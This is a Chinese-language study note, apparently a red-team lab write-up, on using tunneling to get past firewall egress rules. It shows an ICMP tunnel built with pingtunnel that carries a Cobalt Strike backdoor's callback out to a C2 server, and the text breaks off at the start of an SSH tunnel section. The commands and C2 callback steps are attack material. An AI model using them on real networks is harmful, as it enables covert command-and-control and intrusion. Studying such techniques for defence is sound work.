隧道技术学习
利用各种隧道技术,以网络防火墙允许的协议,绕过网络防火墙的封锁,实现访问被封锁的目标网络。
常用隧道技术
网络层:IPv6 隧道、ICMP 隧道
传输层:TCP 隧道、UDP 隧道、常规端口转发
应用层:SSH 隧道、HTTP/S 隧道、DNS 隧道
协议判断命令
ICMP:ping ip or domain
HTTP:curl ip or domain
SSH:ssh ip or domain
DNS:nslookup domain
TCP:telnet ip port
隧道应用
C2server:192.168.5.31
Webserver:192.168.5.29,出网协议ICMP
ICMP隧道
工具:cs、pingtunnel
Pingtunnel is a tool that send TCP/UDP traffic over ICMP
先在C2server启动pingtunnel服务端
1 | ./pingtunnel -type server |
然后在Webserver启动客户端,这里参数:-l是本地6666端口的流量,-s是转发到192.168.5.31服务端上,-t是服务端地址和端口,-tcp是封装tcp流量为icmp
1 | pingtunnel.exe -type client -l :6666 -s 192.168.5.31 -t 192.168.5.31:7777 -tcp 1 -noprint 1 -nolog 1 |
这一步完成后,隧道就连接好了,下一步就是如何上线,监听端口的问题。
隧道的作用是将6666端口的流量转发到C2的7777,也就是cs要监听7777端口,那回连的地址就需要是Webserver的6666端口,才会经过icmp的封装发送到C2的7777端口,所以在生成后门的时候,回连地址是:127.0.0.1:6666
在cs上先添加一个对应的监听器,然后生成后门
再添加一个C2server的7777端口监听,然后运行后门就可以上线
在C2server上抓包看一下流量,可以看到通信流量都是ICMP协议
SSH隧道
C2server:192.168.5.31
webserver:192.168.5.32、192.168.2.128
sqlserver:
内网主机防火墙限制了出网协议,可以利用SSH转发流量实现内网穿透
C2server开启ssh协议登录:
1 | vi /etc/ssh/sshd_config |